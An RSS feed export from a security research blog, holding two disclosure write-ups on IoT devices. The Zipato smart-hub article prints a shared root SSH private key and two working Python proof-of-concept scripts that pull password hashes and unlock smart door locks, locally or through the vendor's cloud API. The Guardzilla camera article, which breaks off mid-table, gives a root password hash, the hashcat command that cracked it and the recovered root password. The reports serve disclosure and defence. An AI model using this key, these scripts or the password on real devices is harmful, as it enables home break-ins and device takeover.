<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[BlackMarble]]></title><description><![CDATA[Virtual Hacker Space]]></description><link>https://blackmarble.sh/</link><image><url>https://blackmarble.sh/favicon.png</url><title>BlackMarble</title><link>https://blackmarble.sh/</link></image><generator>Ghost 4.3</generator><lastBuildDate>Thu, 09 Apr 2026 03:27:39 GMT</lastBuildDate><atom:link href="https://blackmarble.sh/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Breaking & Entering with Zipato SmartHubs]]></title><description><![CDATA[Breaking & Entering with Zipato SmartHubs using Pass-The-Hash vulnerability to unlock doors remotely.]]></description><link>https://blackmarble.sh/zipato-smart-hub/</link><guid isPermaLink="false">5d1388cf097f7c18348985aa</guid><category><![CDATA[IoT]]></category><category><![CDATA[hacking]]></category><category><![CDATA[vulnerability]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Tue, 02 Jul 2019 08:40:00 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><!-- 4:3 aspect ratio -->
<div class="embed-responsive embed-responsive-4by3">
  <iframe class="embed-responsive-item" src="https://blackmarble.sh/content/images/2019/06/smarthub.mp4"></iframe>
</div><!--kg-card-end: html--><h2 id="researcher-contact-information">Researcher Contact Information</h2><!--kg-card-begin: html--><table id="t01">
    <tr>
        <td>Name</td>
        <td>Contact</td>
        <td>Role</td>
    </tr>
    <tr>
        <td>Charles Dardaman</td>
        <td><em class="fa fa-twitter"><a href="https://twitter.com/CharlesDardaman">@CharlesDardaman</a></em></td>
        <td>Reverse Engineered API</td>
    </tr>
    <tr>
        <td>INIT_6</td>
        <td><em class="fa fa-twitter"><a href="https://twitter.com/INIT_3">@INIT_3</a></em></td>
        <td>Discovered Root SSH Key</td>
    </tr>
</table><!--kg-card-end: html--><h2 id="executive-summary">Executive Summary</h2><p>During the 0DAYALLDAY Research Event three vulnerabilities were discovered in the ZipaMicro Z-Wave Controller Model #: &#xA0;<strong>ZM.ZWUS </strong>and the Zipabox Z-Wave Controller Model #:<strong> 2AAU7-ZBZWUS</strong>. &#xA0;Two vulnerabilities are in the design and implementation of the authentication mechanism in the Zipato Application Programming Interface (API). The third vulnerability is embedded SSH private key for ROOT which isn&apos;t unique and can be extracted.</p><h2 id="approach">Approach</h2><p>When we first got our hands on the smart lock and hub we thought of attacking it in three different senarios. First, could we unlock the door remotely without having access to anything before hand. Second, if we were an apartment resident with this solution could we take data off the device in order to unlock all the other residents&apos; front doors. Lastly, could we find a vulnerability or misconfiguration that would allow an attacker to unlock the door on the same network. During our research we were able to prove that two of these methods of attack were viable and if we had more time might have proven all three to be feasable. </p><h2 id="product-description">Product Description </h2><p>The Zipato ZM.ZWUS ZipaMicro Z-Wave controller is the smallest controller in the Zipato&apos;s line of Z-Wave controllers. It&apos;s used to manage and control Z-Wave and IP devices remotely. Vendor product page can be found <a href="https://www.zipato.com/product/zipamicro">here</a>. </p><p>The Zipato 2AAU7-ZBZWUS Zipabox Z-Wave controller is their module based controller allowing for additional modules to be attached. It&apos;s used to manage and control Z-Wave, IP devices, among other modules that can be attached remotely. Vendor product page can be found <a href="https://www.zipato.com/product/zipabox2">here</a>. </p><h2 id="findings-overview">Findings Overview</h2><p>This section summarizes the strategic problems identified, risk ratings, and recommendations. The Detailed Testing section describes the attempted attacks, evidence (including screen shots), risk-ratings, and potential solutions. </p><p>The results from this testing as well as any additional details regarding any further exposure can be found in the Detailed Testing section.</p><!--kg-card-begin: html--><table id="t02">
    <tr>
        <th>Device</th>
        <td>Zipato ZM.ZWUS ZipaMicro Z-Wave controller</td>
    </tr>
</table>
<table id="t01">
    <tr>
        <th>Finding</th>
        <th>Risk Rating</th>
        <th>Remediation Status</th>
    </tr>
    <tr>
        <td>Embedded SSH Private key for ROOT</td>
        <td>CRITICAL</td>
        <td>Vulnerable</td>
    </tr>
    <tr>
        <td>Pass-the-Hash Local API Authentication</td>
        <td>CRITICAL</td>
        <td>Vulnerable</td>
    </tr>
    <tr>
        <td>Pass-the-Hash Remote API Authentication</td>
        <td>CRITICAL</td>
        <td>Vulnerable</td>
    </tr>
</table><!--kg-card-end: html--><h2 id="detailed-technical-description">Detailed Technical Description</h2><p></p><h3 id="embedded-ssh-private-key-for-root-cve-2019-9560-">Embedded SSH Private key for ROOT (CVE-2019-9560)</h3><p>The SSH key was found by removing the SD Card from the device and imaging the SD Card. SSH key was found in &apos;/etc/dropbear/&apos; with the name &apos;dropbear_rsa_host_key&apos; which is password protected when using this format but you can still extract the Private and Public key.</p><!--kg-card-begin: markdown--><pre><code>init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ ssh -i dropbear_rsa_host_key root@192.168.6.60
Enter passphrase for key &apos;dropbear_rsa_host_key&apos;: 
</code></pre>
<!--kg-card-end: markdown--><p>Extracting the private key with dropbearconvert tool:</p><!--kg-card-begin: markdown--><pre><code>init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ /usr/lib/dropbear/dropbearconvert dropbear openssh dropbear_rsa_host_key zipato_id_rsa
Key is a ssh-rsa key
Wrote key to &apos;zipato_id_rsa&apos;</code></pre>
<!--kg-card-end: markdown--><p>Private key:</p><!--kg-card-begin: markdown--><pre><code>-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAr44ZVxiXQR3TZ87An2c0n27ZwEvgftLhQtvZ+klNqgXCso39
ZuCRItaw/wZ3WISwskwCvzCev4Di50Qsww6+sUaBoJU4KXuZi8LWzJHJ5zDnDa9c
PArIfg3wZM0UlHIAqb0wm1YWAqFd7jTTATTmXKMQccgk3shEYbHvqZnR5RReuD/b
5LzxkRzndmJ2te1cCYBH3xcj6T78sFNuHj5DByd2CgaQje+Un8WkUqxfRVT2d9/Y
vlaRXx0Qpz7Gk0+JqPpVdos8a6Ws0dka9nhJXAy8fGhYCz0xoIjBXw1+XZCSO/OD
J6saR9DeT2WlJw1OUmTj73DbtRw7fegWpDfLRwIDAQABAoIBAAyeHkzNPqnLy/2t
CtkqIMpzZtZ/CElKki2CVwi51gl/VSliMoaqDfm+toVN4KwNtWl13x4AukLcr5zx
oHSl4vzOKtObhf2CnbGW37tfoG8BFnTnAq5qE/5DYDYj1fPUEcohXT9SO6Nqwlve
6L+FyXzPrNyQsbMKxSdvE4umu5hG9M1WfnqJglH4rI7WDT6lgbt7+nMsCTGeTsR7
Wvv1eHGR8sanTaEV/Xt5G2MjGI4Xvrux/vm4jvFno2I2DDj0IOmtaQkDij861aNE
B+xV7XuAW6ruDc37XkdHunnGNZWmkGCdoI7IvzRMfpHWwmZG1zPyFtXZfarycrIe
0ndD3sECgYEAuoyS6jL/OVcN7DhIPe8NJcc3P4GY38TetsS9QtkqqdhxV37KX5Ge
Kyr7IeAm1jO1TYfQ1EK3jtR+f/wNnrgh34LUnIZ00ND+X7FS52WndVzeCR+Fh48Z
RJDqR+rb2Ia/jEEbQXrOFXYs4vcy+WfvQ5ZSWR9JAoxWKinalvGp52cCgYEA8Om3
bN1Y8m0XmBVA5T3JM6/Zg0/KAhv2BM3QpBHWXKLL/CBq7xNrMlb1N49Rd9SAXVVA
mfBVOQl5QdpzrERzXWtaDr/UvCSj4m9wMrZg88273viS2IbNJ0Tz59OhCv1OKyUA
OsTL4avGpS8TC4+ocRWtaVHQTQG1eXvTbDMf8SECgYEAkKkUAGMdgdSdKlIWy1hG
BMawdCHGb7gV0PtNnLoVGHKMqgHbYzLjyavh5MoSs8aTUJUCfqdh+nOTySGnWi6F
rfKhduPZUFjQ+Vnj5SbyLdOfJsn33UA9ousRkkVwyD7t6RBP134os4HZmwOA1uEf
LHU0VIIrNrum0bl1Fdo/G/8CgYBkhgElic7diSu5J9UmUnur94pZQmfWLXigVIjk
jRTXHo7jK1uzWnT2UlaL0l96Es9lIneMRD4rSIqyMcbmcMF6j5rKYL0RrHA9waYd
YwBdetETnsEXXFgqNJlZeHLQNRXy5sOLwiYYiiafMl9OCamNVjA/rAWwvC/O+x4j
HcoMQQKBgQCe0ahjyz9pCMMsmNITUVGeujFExkj1KwzVgBxFDO6yRUhl0T7U7xiH
8VPAyM0/7jhj9zrGhwINMLIsiAAgmKdBY+k2vUfuOJxUQsQB+WmucZAJSZ0xhRnB
b98phTSt+TGayvOSDc1x7wli4wyZPhIo6mEMc6DKY+hrZKbFQkFtEQ==
-----END RSA PRIVATE KEY-----</code></pre>
<!--kg-card-end: markdown--><p>Extracting the public key with dropbearkey tool:</p><!--kg-card-begin: markdown--><pre><code>init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ dropbearkey -y -f dropbear_rsa_host_key | grep &quot;^ssh-rsa &quot; &gt; zipato_id_rsa.pub</code></pre>
<!--kg-card-end: markdown--><p>The public key matched the public key in /home/root/.ssh/authorized_keys</p><p>Login with new extracted private key:</p><!--kg-card-begin: markdown--><pre><code>init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ ssh -i zipato_id_rsa root@192.168.6.60
root@zipaMicro:~# whoami
root</code></pre>
<!--kg-card-end: markdown--><h3 id="pass-the-hash-local-api-authentication-cve-2019-9561-">Pass-the-Hash Local API Authentication (CVE-2019-9561)</h3><p>Users data is stored in &apos;/mnt/data/zipato/storage/USERS&apos;:</p><!--kg-card-begin: markdown--><pre><code>root@zipaMicro:/mnt/data/zipato/storage/USERS# ls -lah
drwxr-xr-x    4 root     root        4.0K Feb 23 22:12 .
drwxr-xr-x    9 root     root        4.0K Feb 23 22:12 ..
drwxr-xr-x    2 root     root        4.0K Feb 23 18:24 0a5ad19e-ec0f-4a17-b314-5dd328ab913d
drwxr-xr-x    2 root     root        4.0K Feb 23 22:12 a9a6328f-f4d5-4f8f-b724-ee30ebb85594
-rw-r--r--    1 root     root         173 Feb 23 22:07 object.json</code></pre>
<!--kg-card-end: markdown--><p>Inside each user is a object.json file which includes the SHA1 password hash.</p><!--kg-card-begin: markdown--><pre><code>{
    &quot;className&quot;: &quot;com.zipato.runtime.BoxUser&quot;,
    &quot;uuid&quot;: &quot;0a5ad19e-ec0f-4a17-b314-5dd328ab913d&quot;,
    &quot;name&quot;: &quot;Users Email Account&quot;,
    &quot;cv&quot;: 0,
    &quot;sv&quot;: 0,
    &quot;deleted&quot;: true,
    &quot;locked&quot;: false,
    &quot;nd&quot;: true,
    &quot;tags&quot;: null,
    &quot;order&quot;: null,
    &quot;master&quot;: true,
    &quot;duress&quot;: false,
    &quot;alias&quot;: null,
    &quot;password&quot;: &quot;Users SHA1 Password&quot;,
    &quot;number&quot;: 1,
    &quot;pinSalt&quot;: null,
    &quot;pinToken&quot;: null,
    &quot;activeRoles&quot;: [&quot;owner&quot;, &quot;wallet&quot;, &quot;global_cache&quot;, &quot;philips_hue&quot;, &quot;nest&quot;, &quot;brand_limit&quot;, &quot;sonos&quot;]
}</code></pre>
<!--kg-card-end: markdown--><p>After looking at the Zipato API documentation we can build our authentication request with out having to crack the password hash. </p><p>First it&apos;s required to get the Nonce by sending a get request to &apos;/user/init&apos; endpoint. </p><figure class="kg-card kg-image-card"><img src="https://blackmarble.sh/content/images/2019/06/user-init.png" class="kg-image" alt loading="lazy"></figure><p>Next to login you need to create a token SHA1(nonce + SHA1(password)). Since we already have the SHA1(password) we can just pass the hash from the object.json file.</p><figure class="kg-card kg-image-card"><img src="https://blackmarble.sh/content/images/2019/06/user-login.png" class="kg-image" alt loading="lazy"></figure><p>Once authenticated you can send the door unlock request by sending a PUT request to the API endpoint &apos;/v2/attributes/&lt;uuid&gt;/value&apos; where the UUID is the Z-Wave lock object. This UUID can be found in the file located here &apos;/mnt/data/zipato/storage/attributes.json&apos;</p><p>The put data to open the lock is:</p><p>{&quot;value&quot;:&quot;false&quot;}</p><p>To lock the door you set value to &quot;true&quot;.</p><p>Proof-of-Concept script:</p><!--kg-card-begin: markdown--><pre><code class="language-python">#Written by Charles Dardaman

import requests
import hashlib
import sys
import os
import json
import subprocess
import logging

#Grab passwords and UUIDS
print(&quot;Stealing the files&quot;)

#trying with scp

#Grabbing files needed for UUID
cmd = &quot;scp -i key root@&quot; + sys.argv[1] + &quot;:/mnt/data/zipato/storage/attributes.json .&quot;
return_code = subprocess.call(cmd, shell=True)
if return_code != 0:
    print(&quot;Files not found&quot;)
    sys.exit()

#Grabbing files needed for token
cmd = &quot;scp -r -i key root@&quot; + sys.argv[1] + &quot;:/mnt/data/zipato/storage/USERS/ .&quot;
return_code = subprocess.call(cmd, shell=True)
if return_code != 0:
    print(&quot;Files not found&quot;)
    sys.exit()

#Open the files to parse the json to get the UUID, Username, and Password

print(&quot;Forging Keys&quot;)

with open(&quot;attributes.json&quot;) as f:
    data = json.load(f)
    for key in data:
        if key[&quot;name&quot;] == &quot;STATE&quot;:
            uuid = key[&quot;uuid&quot;]
            print(uuid)

#Try for all the users
for root,dirs,files in os.walk(&quot;USERS&quot;):
    for name in files:
        userpath = root + &quot;/&quot; + name
        with open(userpath) as f:
            data = json.load(f)
            try:
                username = data[&quot;name&quot;]
                password = data[&quot;password&quot;]
                print(username)
                print(password)
            except:
                break

            print(&quot;Building Crowbar&quot;)

            #Get nonce
            r = requests.get(&quot;http://&quot; + sys.argv[1] + &quot;:8080/v2/user/init&quot;)

            data = json.loads(r.text)
            nonce = data[&quot;nonce&quot;]
            print(&quot;Nonce= &quot; + nonce)
            jessionid = data[&quot;jsessionid&quot;]
            cookies = {&quot;JSESSIONID&quot;: jessionid}

            #SHA work SHA1(nonce+password=token)
            np = nonce + password
            print(np)

            hash_object = hashlib.sha1(np.encode())
            token = hash_object.hexdigest()
            print(&quot;token: &quot;+ token)

            #Send Login Request
            r = requests.get(&quot;http://&quot; + sys.argv[1] + &quot;:8080/v2/user/login?username=&quot;+username+&quot;&amp;token=&quot;+token,cookies=cookies)

            print(r.text)
            data = json.loads(r.text)

            if data[&quot;success&quot;] != &quot;true&quot;:
                print(&quot;Pure Failure&quot;)

            #Send Open
            r = requests.put(&quot;http://&quot; + sys.argv[1] + &quot;:8080/v2/attributes/&quot;+uuid+&quot;/value&quot;,cookies=cookies,json={&quot;value&quot;:&quot;true&quot;})

            print(r.text)
            print(&quot;Door Opened&quot;)

</code></pre>
<!--kg-card-end: markdown--><h3 id="pass-the-hash-remote-api-authentication-cve-2019-9562-">Pass-the-Hash Remote API Authentication (CVE-2019-9562)</h3><p>The remote API has the same Pass-the-Hash vulnerability as the local API. &#xA0;Depending on the Zipato implementation it could be possible to control all the ZipatoMicro devices. For example, [REDACTED] implementation has 3 usable credentials. Master account owned by [REDACTED], Master account for the apartment complex, and an account for the renter. Because of this it&apos;s possible to control all the devices on the [REDACTED]&apos;s network. </p><p>Proof-of-Concept script:</p><!--kg-card-begin: markdown--><pre><code class="language-python">#Written by Charles Dardaman
#INIT_6 Adapted Charles&apos; script for attacking the remote api.

import requests
import hashlib
import sys
import os
import json
import subprocess
import logging
import argparse

def run(username, password, lock):
    url = &quot;https://my.zipato.com/zipato-web/v2&quot;

    print(&quot;Building Crowbar&quot;)
    #Get nonce
    r = requests.get(url + &quot;/user/init&quot;)

    data = json.loads(r.text)
    nonce = data[&quot;nonce&quot;]
    print(&quot;Nonce: %s&quot; % (nonce) )

    jessionid = data[&quot;jsessionid&quot;]
    cookies = {&quot;JSESSIONID&quot;: jessionid}

    #SHA work SHA1(nonce+password=token)
    np = nonce + password
    print(&quot;nonce + password: %s &quot; % (np) )

    hash_object = hashlib.sha1(np.encode())
    token = hash_object.hexdigest()
    print(&quot;token: %s&quot; % (token) )

    #Send Login Request
    r = requests.get(url + &quot;/user/login?username=&quot;+username+&quot;&amp;token=&quot;+token,cookies=cookies)

    print(r.text)
    data = json.loads(r.text)

    if not data[&quot;success&quot;]:
        print(&quot;Pure Failure&quot;)

    # Get Users
    r = requests.get(url + &quot;/users&quot;, cookies=cookies)
    users = json.loads(r.text)

    # Get Devices
    r = requests.get(url + &quot;/devices&quot;, cookies=cookies)
    devices = json.loads(r.text)

    # Get all device endpoints and search for Door locks, get all door lock endpoints STATE attributes and then either lock or unlock the doors.
    door_lock_endpoints = []
    device_uuids = []
    for device in devices:
        if &apos;uuid&apos; in device.keys():
            device_uuids.append(device[&apos;uuid&apos;])

    for uuid in device_uuids:
        r = requests.get(url + &quot;/devices/&quot;+uuid+&quot;/endpoints&quot;,cookies=cookies)
        data = json.loads(r.text)
        if data:
            r = requests.get(url + &quot;/endpoints/&quot;+data[0][&apos;uuid&apos;]+&quot;?attributes=true&quot;,cookies=cookies)
            data = json.loads(r.text)
            if &apos;Door Lock&apos; in data[&apos;name&apos;]:
                for attribute in data[&apos;attributes&apos;]:
                    if attribute[&apos;name&apos;] == &apos;STATE&apos;:
                        door_lock_endpoints.append(attribute[&apos;uuid&apos;])

    if door_lock_endpoints:
        for uuid in door_lock_endpoints:
            if lock:
                r = requests.put(url + &quot;/attributes/&quot;+uuid+&quot;/value&quot;,cookies=cookies,json={&quot;value&quot;:&quot;true&quot;})
                print(&quot;Door Locked&quot;)
            else:
                r = requests.put(url + &quot;/attributes/&quot;+uuid+&quot;/value&quot;,cookies=cookies,json={&quot;value&quot;:&quot;false&quot;})
                print(&quot;Door Opened&quot;)

if __name__ == &apos;__main__&apos;:
    parser = argparse.ArgumentParser(description=&quot;Zipato API\nAll Your Houses are belong to us...&quot;,epilog=None)
    parser.add_argument(&quot;-u&quot;,&quot;--username&quot;,help=&quot;Zipato Username&quot;,type=str,required=True)
    parser.add_argument(&quot;-p&quot;,&quot;--password&quot;,help=&quot;Zipato SHA1 Password Hash&quot;,type=str,required=True)
    parser.add_argument(&quot;--lock&quot;,help=&quot;Lock Doors&quot;,action=&apos;store_true&apos;)
    parser.add_argument(&quot;--unlock&quot;,help=&quot;Unlock Doors&quot;,action=&apos;store_true&apos;)

    opt = parser.parse_args()
    #Lock = True or unlock = False
    #Fail closed for security.
    try:
        if opt.lock:
            lock = True
        elif opt.unlock:
            lock = False
        else:
            lock = False
    except:
        lock = False

    run(opt.username, opt.password, lock)
</code></pre>
<!--kg-card-end: markdown--><p><strong>Zipato&apos;s Response</strong></p><figure class="kg-card kg-image-card"><img src="https://blackmarble.sh/content/images/2019/06/Zipato-Email2.png" class="kg-image" alt loading="lazy"></figure><p>Their documentation hasn&apos;t changed, so Passing-The-Hash is still an issue if you can find the password hash. </p><p><strong>Informational Findings</strong></p><p>Searching for the RSA fingerprint on Shodan.io found 5 Zipato Micro devices directly on the Internet.</p><figure class="kg-card kg-image-card"><img src="https://blackmarble.sh/content/images/2019/06/dropbear-on-internet.png" class="kg-image" alt loading="lazy"></figure><h2 id="disclosure-timeline">Disclosure Timeline </h2><!--kg-card-begin: markdown--><p>&#x25CF; Sat, Feb 23, 2019: Issue discovered at 0DayAllDay Research Event<br>
&#x25CF; Mon, March 4th, 2019: Issue disclosed to vendor<br>
&#x25CF; Mon, March 4th, 2019: CVE-2019-9560, CVE-2019-9561, and CVE-2019-9562 reserved<br>
&#x25CF; Wen, March 20th, 2019: Zipato responded saying issues were fixed.<br>
&#x25CF; Tue, July 2nd, 2019: Public disclosure</p>
<!--kg-card-end: markdown--><h3 id="special-thanks">Special Thanks</h3><ul><li>Everyone at the 0DayAllDay Hacking Event!</li><li><a href="https://geniusden.com/">GeniusDen</a> For hosting our event</li><li><a href="https://twitter.com/TinkerSec"><strong>@<strong>TinkerSec</strong></strong></a> Financier of underground criminal empire.</li><li>Andrew McPherran <a href="https://twitter.com/andrewmcpherran"><strong>@<strong>andrewmcpherran</strong></strong></a> for verifying [REDACTED] deployment</li><li>Ramsey <strong><a href="https://twitter.com/Sec00000101">@</a><strong><a href="https://twitter.com/Sec00000101">Sec00000101</a></strong></strong> for verifying [REDACTED] deployment</li><li>Lesley Carhart <a href="https://twitter.com/hacks4pancakes"><strong>@<strong>hacks4pancakes</strong></strong></a> for drawing our attention to these types of targets. She has a great talk that can be found on <a href="https://www.youtube.com/watch?v=74w0w6iUKEA">YouTube</a>. Also check out her great blog post <a href="https://tisiphone.net/2019/01/28/security-things-to-consider-when-your-apartment-goes-smart/">here</a> and <a href="https://tisiphone.net/2019/03/03/life-moves-fast-smart-apartment-style/">here</a>.</li></ul>]]></content:encoded></item><item><title><![CDATA[Guardzilla IoT Video
Camera Hard-Coded Credentials (CVE-2018-5560)]]></title><description><![CDATA[The Guardzilla IoT-enabled home video surveillance system contains a shared Amazon S3 credential, used for storing saved video data. Because of this design, all users of the Guardzilla All-In-One Video Security System can access each other’s saved home video.]]></description><link>https://blackmarble.sh/guardzilla-video-camera-hard-coded-aws-credentials/</link><guid isPermaLink="false">5d1388cf097f7c18348985a9</guid><category><![CDATA[hacking]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[Guardzilla]]></category><category><![CDATA[IoT]]></category><category><![CDATA[CVE]]></category><category><![CDATA[hardware hacking]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Thu, 27 Dec 2018 02:10:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1516345079912-c3e011a5a848?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<h2 id="researcher-contact-information">Researcher Contact Information</h2><!--kg-card-begin: html--><table id="t01">
    <tr>
        <td>Name</td>
        <td>Contact</td>
        <td>Role</td>
    </tr>
    <tr>
        <td>Nick McClendon</td>
        <td><a href="mailto: nicklaus@kulinacs.com">nicklaus@kulinacs.com</a></td>
        <td>Dumped the firmware and extracted the binaries</td>
    </tr>
    <tr>
        <td>Andrew Mirghassemi</td>
        <td><a href="mailto: a.mirghassemi@live.com">a.mirghassemi@live.com</a></td>
        <td>Dumped the firmware and extracted the binaries</td>
    </tr>
    <tr>
        <td>Charles Dardaman</td>
        <td><i class="fa fa-twitter"><a href="https://twitter.com/CharlesDardaman">@CharlesDardaman</a></i></td>
        <td>Found and Extracted the AWS Credentials from the Binaries</td>
    </tr>
    <tr>
        <td>INIT_6</td>
        <td><i class="fa fa-twitter"><a href="https://twitter.com/INIT_3">@INIT_3</a></i></td>
        <td>Co-Founder of 0DayAllDay, Cracked the root password</td>
    </tr>
    <tr>
        <td>Chris</td>
        <td><a href="mailto: chris@spectant.io">chris@spectant.io</a></td>
        <td>Co-Founder of 0DayAllDay, AWS Policy Verification</td>
    </tr>
</table><!--kg-card-end: html--><h2 id="executive-summary">Executive Summary</h2><img src="https://images.unsplash.com/photo-1516345079912-c3e011a5a848?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Guardzilla IoT Video
Camera Hard-Coded Credentials (CVE-2018-5560)"><p>During the 0DAYALLDAY Research Event a vulnerability was discovered (<strong><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5560">CVE-2018-5560</a>)</strong> in the Guardzilla Security Video System Model #: <strong>GZ521W</strong>. &#xA0;The vulnerability lies within the design and implementation of Amazon Simple Storage Service (S3) credentials inside the Guardzilla Security Camera firmware. &#xA0;Accessing these S3 storage credentials is trivial for a moderately skilled attacker.</p><p>Upon inspection of the access rights given to the S3 credentials within the analyzed firmware it was discovered that the embedded S3 credentials have unlimited access to all S3 buckets provisioned for that account. &#xA0;</p><p>While no user data was accessed during our testing, the embedded S3 credentials could easily be used to view and download any stored file/video in the associated buckets.</p><p>This issue is an instance of <a href="https://cwe.mitre.org/data/definitions/798.html">CWE-798: Use of Hard-coded Credentials</a>. It has a CVSSv3 base score of <strong><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N">8.6</a></strong>, since once the password is known, any unauthenticated user can collect the data from any affected system over the internet.</p><h2 id="product-description">Product Description </h2><p>The Guardzilla All-In-One Video Security System is a home security platform that provides indoor video surveillance. More information about the product can be found at the <a href="https://www.guardzilla.com/products/guardzilla-all-in-one-hd-wifi-video-security-camera/">vendor&#x2019;s website</a>. Only the GZ501W model was tested. It is not known if other models are affected.</p><h2 id="findings-overview">Findings Overview</h2><p>This section summarizes the strategic problems identified, risk ratings, and recommendations. The Detailed Testing section describes the attempted attacks, evidence (including screen shots), risk-ratings, and potential solutions. </p><p>The results from this testing as well as any additional details regarding any further exposure can be found in the Detailed Testing section.</p><!--kg-card-begin: html--><table id="t02">
    <tr>
        <th>Device</th>
        <td>Guardzilla GZ521W Security Video System</td>
    </tr>
</table>
<table id="t01">
    <tr>
        <th>Finding</th>
        <th>Risk Rating</th>
        <th>Remediation Status</th>
    </tr>
    <tr>
        <td>Embedded S3 Credentials Unlimited Access Policy</td>
        <td>CRITICAL</td>
        <td>Vulnerable</td>
    </tr>
    <tr>
        <td>OpenSSL 1.0.1g Multiple Vulnerabilities</td>
        <td>HIGH</td>
        <td>Vulnerable</td>
    </tr>
</table><!--kg-card-end: html--><h2 id="strategic-recommendations">Strategic Recommendations</h2><p>Strategic recommendations are those actions that can be taken by an organization to address the findings outlined in the findings overview section of this executive summary in a more generic and global way, rather than fixing individual problems instance by instance. </p><p>Implementing one or more of these recommendations may greatly improve the security posture of an organization and/or reduce the attack surface or exposure of an application or environment as well as address multiple findings. </p><p><strong>Recommendation for Guardzilla:</strong></p><ul><li>Review the source code of the various resources and services to verify that no data is being passed to potential malicious 3<sup>rd</sup> party providers.</li><li>Limit the access policy of the associated embedded S3 credentials to minimize access to cross customer information. &#xA0;</li><li>Audit any and all 3<sup>rd</sup> party libraries for vulnerabilities and update those libraries where necessary.</li></ul><p><strong>Benefits:</strong></p><ul><li>Remediate all the findings from CVE-2018-5560</li><li>Prevent the application from succumbing to future vulnerabilities.</li></ul><h1 id="detailed-technical-description">Detailed Technical Description</h1><p>During the event a Winbond SPIFlash chip Model #: 25Q128FVSG was identified. &#xA0;The data sheet for the chip can be found <a href="https://www.winbond.com/resource-files/w25q128fv_revhh1_100913_website1.pdf">here</a>.</p><p>Once the firmware was extracted from that chip it was identified to contain a SquashFS file system and a Journaling Flash File System version 2 (JFFS2) file system. &#xA0;It was also noted that the &#x201C;Distribution Base&#x201D; is Grain Media ARM Linux 3.3.</p><p>Once these file systems were extracted with binwalk, the following string was found in the Message of The Day (MOTD):</p><!--kg-card-begin: markdown--><pre><code>Copyright (C) 2005 Faraday Corp. www.faraday.com.tw</code></pre>
<!--kg-card-end: markdown--><p>It was also noted that the /etc/shadow file contained the following DES encrypted password for the root administrator account:</p><!--kg-card-begin: markdown--><pre><code>root:MvynOwD449PkM:0:0:99999:7:::</code></pre>
<!--kg-card-end: markdown--><p>Because DES has been deprecated since 2005 it was trivially cracked with dual Nvidia GeForce GTX 1080 Ti graphics cards:</p><!--kg-card-begin: markdown--><pre><code>hashcat -m 1500 -a 3 -o ../guardzilla.found -O -i --increment-min=8 --increment-max=12 -w 3 -t 50 ../guardzilla.hash ?a?a?a?a?a?a?a?a?a?a?a?a?a
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><pre><code>Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: MvynOwD449PkM
Time.Started.....: Tue Oct  2 07:36:30 2018 (3 hours, 35 mins)
Time.Estimated...: Tue Oct  2 11:12:06 2018 (0 secs)
Guess.Mask.......: ?a?a?a?a?a?a?a?a [8]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:  1176.6 MH/s (49.11ms) @ Accel:8 Loops:1024 Thr:256 Vec:1
Speed.Dev.#2.....:   776.5 MH/s (106.80ms) @ Accel:16 Loops:1024 Thr:256 Vec:1
Speed.Dev.#*.....:  1953.0 MH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 25226596581376/39062500000000 (64.58%)
Rejected.........: 0/25226596581376 (0.00%)
Restore.Point....: 201580544/312500000 (64.51%)
Candidates.#1....: sarKrvcz -&gt; 9poL82dw
Candidates.#2....: AiLwoz3x -&gt; jE3iABuo
HWMon.Dev.#1.....: Temp: 66c Fan: 99% Util: 99% Core:1797MHz Mem:5005MHz Bus:8
HWMon.Dev.#2.....: Temp: 82c Fan: 99% Util:100% Core:1632MHz Mem:4513MHz Bus:8</code></pre>
<!--kg-card-end: markdown--><p></p><p>The recovered password: &#x2018;<strong>GMANCIPC</strong>&#x2019;</p><p>It was noted that during boot <em>init</em> script launches <em>boot.sh</em> which in turn launches both <em>/mnt/mtd/startapp</em> and <em>/home/daemon.exe</em>. &#xA0;The <em>startapp</em> resource launches <em>vg_boot.sh</em> (which configures low level video settings) and <em>main.exe</em>. &#xA0;The following table represents the binary information for both <em>main.exe</em> and <em>daemon.exe</em>:</p><!--kg-card-begin: html--><table id="t01">
    <caption>Guardzilla Core Binary Data Table</caption>
    <tr>
        <th>Binary</th>
        <th>Architecture</th>
        <th>Type</th>
        <th>EABI</th>
        <th>Link Type</th>
        <th>Interpreter</th>
        <th>Symbols</th>
    </tr>
    <tr>
        <td>main.exe</td>
        <td>ELF 32-bit</td>
        <td>ARM</td>
        <td>5 version 1</td>
        <td>Dynamically linked</td>
        <td>/lib/ld-uClibc.so.0</td>
        <td>Stripped</td>
    </tr>
    <tr>
        <td>Daemon.exe</td>
        <td>ELF 32-bit</td>
        <td>ARM</td>
        <td>5 version 1</td>
        <td>Dynamically linked</td>
        <td>/lib/ld-uClibc.so.0</td>
        <td>Not Stripped</td>
    </tr>
</table>
